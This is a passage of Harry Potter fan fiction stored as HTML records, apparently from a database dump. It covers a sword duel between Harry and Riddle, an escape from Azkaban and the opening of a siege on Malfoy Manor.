his face.&nbsp; It was Tom Marvolo Riddle!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 18, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: J.K. Rowling is the owner.&nbsp; I\'m just borrowing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 18: Potter and Riddle</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Greetings,\nHarry,&quot; said Riddle with a grin.&nbsp;\n&quot;I see we meet again.&nbsp; Here\nto save your friend?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Tom,&quot;\nacknowledged Harry.&nbsp; &quot;I doubt you\nwould let us pass freely, would you?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Riddle laughed, a high pitched laugh that\ndidn\'t suit him well.&nbsp; &quot;Of course\nnot.&nbsp; This time I\'m not here to just\nobserve you.&nbsp; I actually plan to kill\nyou.&quot;&nbsp; He said all this very\ncasually.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Love how you\nput it,&quot; said Harry.&nbsp; He walked\nslightly away from Riddle and put Hermione down near the wall.&nbsp; &quot;I\'m going to have to take care of\nthis,&quot; he whispered to her.&nbsp;\n&quot;Just trust me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione took Harry\'s hand and squeezed it a\nlittle.&nbsp; &quot;Harry, be\ncareful.&quot;&nbsp; Harry nodded and gave\nher a reassuring smile.&nbsp; He then stood\nup and faced Riddle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;If it\'s a\nduel you want, it\'ll be a duel you\'ll get.&quot; said Harry as he drew his ruby\nencrusted sword.&nbsp; Riddle grinned and\ndrew his emerald encrusted sword.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;We must\nobserve the formalities,&quot; said Riddle.&nbsp;\n&quot;First we bow,&quot; Harry and Riddle both merely lowered their\nheads, never taking eyes off of each other.&nbsp;\n&quot;And now, we duel!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Riddle shouted, <i>&quot;Avada Kedavra!&quot;</i>\nthe same time Harry shouted, <i>&quot;Expelliarmus!&quot;</i>&nbsp; The green light of Riddle\'s killing curse\nshot out towards the red light of Harry\'s disarming curse.&nbsp; However, as soon as the two lights\nconnected, it transformed into a single gold thread that connected the two\nblades.&nbsp; Both Harry and Riddle were\nabsolutely astounded as the golden thread started humming and vibrating.&nbsp; Riddle raised his sword and broke the\nconnection.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Prior\nIncantatem,&quot; muttered Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What?&quot;\nasked Harry, never taking his eyes off of Riddle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;The reverse\nspell effect,&quot; said Hermione.&nbsp;\n&quot;You two must have brother magical cores.&nbsp; Both from the exact same magical creature.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry stared at Riddle and stated &quot;Phoenix\nfeather.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Riddle simply nodded and said &quot;Who\nwould\'ve imagined that we\'ve both have magical cores from the same\nphoenix.&quot;&nbsp; He raised his sword and\nsmirked.&nbsp; &quot;Well then, Potter.&nbsp; Since we can\'t duel the magical way, we\'ll\nhave to duel the more traditional way.&quot;&nbsp;\nHarry also raised his sword.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">For an agonizing minute, the two simply stared\nat each other.&nbsp; Then, quite suddenly,\nthe two duelers leapt forward and the two blades collided into each other with\nimmense power!&nbsp; Red eyes and green eyes\nglared at each other as the two blades rubbed together, causing sparks to\nfly.&nbsp; Then, abruptly, the two broke\napart and jumped back a little.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A second later, the two sprang forward again,\nthe blades constantly hitting each other in speeds that seemed to be humanly\nimpossible.&nbsp; There was no offensive or\ndefensive in the duel, Harry and Riddle simply blocked and attacked in high\nspeed succession.&nbsp; The two blades once\nagain rubbed against each other as the two duelers continued slashing at each\nother.&nbsp; If looks could kill, both Harry\nand Riddle would be dead three times over.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron dodged McNair\'s Axe as he rolled\nbackwards.&nbsp; In the process, he managed\nkick Wormtail in the nose, thus knocking him out.&nbsp; Ron rolled away from another one of McNair\'s attacks.&nbsp; As he did so, he managed kick at McNair\'s\nright shin, knocking him off balance.&nbsp;\nSuddenly, McNair screamed: he had fallen on to the blade of his own axe\nand was killed!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron had no time to react to McNair\'s death\nhowever as Crouch suddenly swung down his two swords, crossed together.&nbsp; The crossed blades connected to Ron\'s sword\nas he raised it vertically in a defensive posture.&nbsp; As the three blades rubbed against each other, Crouch smirked at\nRon.&nbsp; &quot;Well, young Weasley.&nbsp; It looks like you\'ve received an invitation\nto the land of the dead!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Yeah, well\nyou can be my date!&quot;&nbsp; Ron kicked at\nCrouch and knocked him off his feet.&nbsp;\nCrouch scrambled back up, and their blades continued to clash.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Right behind them, Draco and Icicle were also\ndueling.&nbsp; <i>&quot;Avada Kedavra!&quot;</i>\nshouted Icicle.&nbsp; Draco dodged the green\nlight and shouted, <i>&quot;Impedimenta!&quot;</i>&nbsp; Icicle blocked the curse, but was nearly caught off guard when\nDraco leaped at her.&nbsp; The sword and\nstaff clashed again.&nbsp; &quot;You will\ndie, like the traitor you are!&quot; sneered Icicle.&nbsp; Draco simply glared at her and continued slashing his sword.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The sounds of blades clashing against each\nother sounded throughout Azkaban.&nbsp; Harry\nand Riddle seemed to be equally matched at first, but Hermione saw that Riddle\nwas slowly but surely gaining the upper hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry swung his sword at Riddle, whom dodged by\nleaping up a little.&nbsp; He then managed to\nplace a swift kick in Harry\'s midsection.&nbsp;\nHarry rolled backwards and leapt to his feet.&nbsp; He was getting exhausted and needed to think up a quick plan.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You are\ngood, Harry Potter!&quot; smirked Riddle.&nbsp;\n&quot;But, not good enough!&nbsp; You\nknow as well as I that you can\'t win against me!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Yeah, well I\nthink you should postpone the victory party, because we\'re getting out of\nhere!&quot;&nbsp; Harry pointed his sword\nforward as if using a spell.&nbsp; Instead of\nsending a spell at Riddle, however, he shot a white light at a small rock on\nthe ground between the two duelers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry suddenly lunged at Riddle, swung his\nsword sideways and deflected Riddle\'s sword away.&nbsp; He barely caught the name <i>Salazar Slytherin</i> written on\nRiddle\'s sword\'s hilt as he hit the ground and rolled over to Hermione.&nbsp; He took hold of Hermione\'s hand and shouted <i>&quot;Accio\nRock!&quot;</i>&nbsp; Suddenly, the rock\nHarry had enchanted flew towards him.&nbsp;\nAs soon as he had caught it, both Harry and Hermione disappeared!&nbsp; Riddle stared at the spot Harry and Hermione\nhad been before.&nbsp; He grinned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Impressive.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It was just around when Ron and Draco found\nthemselves back to back that Ron felt something.&nbsp; &quot;Harry!&nbsp; He\'s got\nHermione out of Azkaban!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;How do you\nknow?&quot; asked an irritated Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I just\nknow!&quot; snapped Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco had know time to argue as both Icicle and\nCrouch shouted, <i>&quot;Stupefy!&quot;</i>&nbsp;\nAt the last minute however, both Ron and Draco ducked and the two\nstunning curses ended up hitting Crouch and Icicle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Ok, that\ntakes care of them,&quot; said Ron.&nbsp;\n&quot;Now scram!&quot;&nbsp; Both he\nand Draco made a mad dash towards the way they had entered the fortress!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione opened her eyes and tried to adjust\nher sight to the blinding light.&nbsp; She\nspent a few minutes adjusting to the blinding light before realizing that it\ncame from the sun.&nbsp; After not seeing it\nfor such a long time, it was a beautifully welcome sight.&nbsp; Hermione realized that they were on the deck\nof a ship, anchored by a rocky coast.&nbsp;\nShe blushed as she realized that she was being carried by Harry again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;How did we\nget out?&quot; she asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I made a\nrock into a portkey,&quot; said Harry.&nbsp;\n&quot;Transported us right to the ship we used to get to\nAzkaban.&quot;&nbsp; Harry didn\'t say much as\nhe seemed to be deep in thought.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What are you\nthinking about?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Riddle.&nbsp; It looks like his sword originally belonged\nto Salazar Slytherin.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;The founder\nof the Kingdom of Slytherin?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;That\'s\nright.&nbsp; I own Gryffindor\'s sword because\nI\'m his descendant.&nbsp; But what about\nRiddle?&nbsp; What relation does he have with\nSlytherin?&quot;&nbsp; Harry stopped talking\nas he saw Ron and Draco run towards their ship.&nbsp; &quot;We\'ll think about that later,&quot; said Harry as he smiled\ndown at Hermione.&nbsp; &quot;In the\nmeantime, we should get you some food.&quot;&nbsp;\nHermione smiled back at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&quot;Enervate.&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Icicle opened her eyes and saw Riddle grinning\nat her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Get up\nIcicle,&quot; he said.&nbsp; &quot;Wake the\nothers, and go deliver a message to Lucius.&nbsp;\nThe final battle is at hand!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 19, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: What could I possibly do to\nconvince you that J.K. Rowling owns this stuff?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 19: The Battle Starts</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Three weeks had past, and the hour of climax\nhad finally come.&nbsp; Twenty nine thousand\nsoldiers and eight hundred Mage Knights, from all four kingdoms, were marching\nthrough the mountainous lands of the Kingdom of Slytherin.&nbsp; Their destination: Malfoy Manor, the capitol\nof the Kingdom of Slytherin.&nbsp; Within\ndays, the mighty land armada laid siege to the capitol city that housed the\nDeath Eaters.&nbsp; However, the Death Eaters\nwere not giving in without a fight.&nbsp;\nThousands of dark creatures and Death Eater warriors were crowded within\nthe city, all fully prepared for the inevitable Alliance attack.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione had completely recovered from her\nordeal in Azkaban.&nbsp; Although she was\nanxious about the coming battle, she couldn\'t help feeling happy about how she\nand Harry loved each other.&nbsp; The night\nbefore the attack, she was sitting in her tent, calming her anxious nerves.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I am glad to\nsee that you are well.&quot;&nbsp; Hermione\nlooked up to see Dumbledore enter her tent, his eyes twinkling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I could not\npossibly feel more better than I do now,&quot; said Hermione with a smile on\nher face.&nbsp; &quot;Harry and I love each\nother.&nbsp; Whenever I think about that, I\ncan\'t help but feel cheerful.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dumbledore softly chuckled.&nbsp; He suddenly became serious however and said,\n&quot;We must talk about those rings on your fingers.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione looked down at the two rings and\nsighed.&nbsp; &quot;Yes, we must.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dumbledore sat down on a stool facing Hermione\nwhom was sitting on her bed.&nbsp; &quot;Miss\nGranger, I am sure that you are aware that the rings have chosen you to bear\nthem into battle.&nbsp; You will be key to\nvictory: those rings contain the sole power that can seal the source of the\nDeath Eaters\' dark powers.&nbsp; Without the\nsource, they will be easily defeated, but if they do fight with their source,\nit shall be a devastating defeat for the Alliance.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione sighed and looked down at her\nhands.&nbsp; This was a lot of pressure on\nher, she literally held the outcome of the battle in her fingers!&nbsp; Dumbledore placed his hand on her shoulder.&nbsp; &quot;I am sorry that you have to go through\nthis, Hermione.&nbsp; If it were at all\npossible, I would wish this burden off of you.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;No, I chose\nthis for myself.&nbsp; I will go through with\nit.&quot;&nbsp; Hermione looked up at\nDumbledore and smiled.&nbsp; &quot;I promise\nsir, I will not let everyone down.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dumbledore smiled at her and left her\ntent.&nbsp; After a few moments of silent\nthinking, Hermione stood up and walked outside.&nbsp; She went to a clearing where some of the Mage Knights were\npreparing for battle.&nbsp; She made her way\nto Harry and kissed him passionately.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Not that 